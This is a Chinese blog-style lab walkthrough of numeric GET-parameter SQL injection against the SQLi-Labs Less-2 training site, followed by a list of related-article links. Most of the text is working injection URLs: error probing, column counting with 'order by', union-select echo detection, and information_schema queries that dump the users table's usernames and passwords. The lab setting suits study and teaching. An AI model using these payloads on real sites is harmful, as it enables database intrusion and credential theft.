SQL数字型GET注入

2024-01-15 14:48

本文主要是介绍SQL数字型GET注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-2。访问的URL为:

http://[靶机IP]/sqli-labs/Less-2/

登录后,根据网页提示,给定一个GET参数,即:

http://[靶机IP]/sqli-labs/Less-2/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

以此来检验浏览器是否安装Hackbar插件,界面F9按键是启用或停用。

寻找注入点

分别用以下3条payload寻找注入点及判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-2/?id=1‘

运行后报错!

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=1

运行后正常显示!

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2

运行后未正常显示!

由此可以判断,网站存在数字型注入点。

判断网站查询的字段数

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 1--+

显示正常!

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 2--+

显示正常!

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 3--+

显示正常!

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 4--+

报错!

判断网站的回显位置

利用以下payload判断网站回显位置:

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

执行结果:2号位和3号位可以回显!

我们可以在2号位和3号为设置一些具有特殊功能的函数或命令来执行SQL注入!

获取网站当前所在数据库的库名

使用下面payload命令:

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

结果为security。

获取数据库security的全部表名

使用下面payload命令:

http://靶机IP/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

显示有一个名为users的表

获取users表的全部字段

使用下面payload命令:

http://靶机IP/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

显示结果,users表中有id、username和password三个字段。

获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示。

 显示第1组数据

http://[靶机]IP/Less-2/ ?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

结果显示Dumb

 第2组数据

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+

显示结果为Anglina,l-kill-you。

第3组数据

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 2,1--+

显示结果为Dummy,p@ssword。

可以通过修改limit后面的参数,将users表中的所有用户信息暴露出来。

这篇关于SQL数字型GET注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/609265

相关文章

SpringBoot中@Value注入静态变量方式

《SpringBoot中@Value注入静态变量方式》SpringBoot中静态变量无法直接用@Value注入,需通过setter方法,@Value(${})从属性文件获取值,@Value(#{})用... 目录项目场景解决方案注解说明1、@Value("${}")使用示例2、@Value("#{}"php

MySQL的JDBC编程详解

《MySQL的JDBC编程详解》:本文主要介绍MySQL的JDBC编程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、前置知识1. 引入依赖2. 认识 url二、JDBC 操作流程1. JDBC 的写操作2. JDBC 的读操作总结前言本文介绍了mysq

java.sql.SQLTransientConnectionException连接超时异常原因及解决方案

《java.sql.SQLTransientConnectionException连接超时异常原因及解决方案》:本文主要介绍java.sql.SQLTransientConnectionExcep... 目录一、引言二、异常信息分析三、可能的原因3.1 连接池配置不合理3.2 数据库负载过高3.3 连接泄漏

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

MySQL中On duplicate key update的实现示例

《MySQL中Onduplicatekeyupdate的实现示例》ONDUPLICATEKEYUPDATE是一种MySQL的语法,它在插入新数据时,如果遇到唯一键冲突,则会执行更新操作,而不是抛... 目录1/ ON DUPLICATE KEY UPDATE的简介2/ ON DUPLICATE KEY UP

MySQL分库分表的实践示例

《MySQL分库分表的实践示例》MySQL分库分表适用于数据量大或并发压力高的场景,核心技术包括水平/垂直分片和分库,需应对分布式事务、跨库查询等挑战,通过中间件和解决方案实现,最佳实践为合理策略、备... 目录一、分库分表的触发条件1.1 数据量阈值1.2 并发压力二、分库分表的核心技术模块2.1 水平分

Python与MySQL实现数据库实时同步的详细步骤

《Python与MySQL实现数据库实时同步的详细步骤》在日常开发中,数据同步是一项常见的需求,本篇文章将使用Python和MySQL来实现数据库实时同步,我们将围绕数据变更捕获、数据处理和数据写入这... 目录前言摘要概述:数据同步方案1. 基本思路2. mysql Binlog 简介实现步骤与代码示例1

使用shardingsphere实现mysql数据库分片方式

《使用shardingsphere实现mysql数据库分片方式》本文介绍如何使用ShardingSphere-JDBC在SpringBoot中实现MySQL水平分库,涵盖分片策略、路由算法及零侵入配置... 目录一、ShardingSphere 简介1.1 对比1.2 核心概念1.3 Sharding-Sp